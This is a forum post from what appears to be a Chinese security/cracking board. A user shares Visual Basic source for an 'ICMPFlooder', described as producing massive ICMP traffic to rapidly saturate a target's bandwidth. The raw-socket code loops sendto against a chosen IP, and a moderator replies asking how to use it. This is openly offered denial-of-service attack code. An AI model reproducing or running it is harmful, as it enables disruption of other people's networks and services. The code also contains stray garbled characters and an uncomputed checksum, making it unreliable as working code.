论坛: 编程破解 标题: 写了个ICMPFlooder,给大家学习一下VB写WinSock程序的方法(小金推荐) 复制本贴地址    
作者: dfwm2008 [dfwm2008]    论坛用户   登录
  
作用:产生巨大流量的ICMP数据报文,迅速阻塞目标带宽
  
原理:填充ICMP头部后,循环sendto出去 8

这个代码没有什么可介绍的,不过是我费了几天时间才成功从以前写的C代码移植过来的,使用了VarPtr这个指针操作函数。
使用方法:ICMPFlood(目标,类型,代码,报文长度)
============================================================== OGM

Private Const AF_INET = 2
Private Const IPPROTO_ICMP = 1
Private Const IPPROTO_RAW = 255
Private Const SOCK_RAW = 3
''常量

Private Type WSADATA
  wVersion As Integer
  wHighVersion As Integer ,
  szDescription As String * 256
  szSystemStatus As String * 128
  iMaxSockets As Integer
  iMaxUdpDg As Integer
  lpVendorInfo As Long
End Type

Private Type sockaddr
  sin_family As Integer
  sin_port As Integer
  sin_addr As Long
  sin_zero(0 To 7) As Byte
End Type

Private Type ICMPHeader
i_type As Byte
i_code As Byte
i_cksum As Integer
i_id As Integer
i_seq As Integer
timestamp As Long
End Type
''结构


Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVR As Long, lpWSAD As WSADATA) As Long
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Private Declare Function sendto Lib "wsock32.dll" (ByVal socket As Long, ByVal packet As Long, ByVal packetLen As Long, ByVal flags As Long, ByVal to_addr As Long, ByVal tolen As Long) As Long
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Integer) As Integer
Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Long
Private Declare Function inet_addr Lib "wsock32.dll" (ByVal cp As String) As Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
''API声明

Sub ICMPFlood(Desc As String, iType As Integer, iCode As Integer, IcmpLen As Long)  ''把Flood封装成一个过程
Dim Sock As Long
Dim remoteIP As sockaddr
Dim addrAddr As Long, addrLen As Long
Dim retCode As Long
Dim icmp_header As ICMPHeader
  
Dim Wsad As WSADATA   
If WSAStartup(&H101, Wsad) <> 0 Then      ''一开始要启动WinSock
  MsgBox "无法启动WinSock!", vbCritical
  Exit Sub
End If

Sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)  ''创建一个原始ICMP报文的套接字

If Sock = -1 Then MsgBox "错误:无法建立套接字!", vbCritical, "AnGryPing by H.B.U": Exit Sub
addrAddr = VarPtr(remoteIP)  ''取sockaddr的指针
addrLen = LenB(remoteIP)  ''按字节的长度来获取
remoteIP.sin_family = AF_INET  ''Sock类型
remoteIP.sin_port = 0  ''端口,ICMP不需要
remoteIP.sin_addr = inet_addr(Desc)  ''目标IP
icmp_header.i_type = iType
icmp_header.i_code = iCode
icmp_header.i_cksum = 0
icmp_header.i_id = 2 )
icmp_header.timestamp = GetTickCount
icmp_header.i_seq = 999
''这里填充ICMP头部
While retCode <> -1  ''循环发送
retCode = sendto(Sock, VarPtr(icmp_header), IcmpLen, 0, addrAddr, addrLen) ~
''发送
DoEvents  ''稍微延时免得程序死掉 +
Wend
closesocket (Sock)
WSACleanup >
End Sub)



[此贴被 二呆(dfwm2008) 在 01月17日08时05分 编辑过]

地主 发表时间: 04-01-17 08:02

回复: jhkdiy [jhkdiy]   版主   登录
好呀,能介绍一下怎样用这个过程吗?

B1层 发表时间: 04-01-17 22:45

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号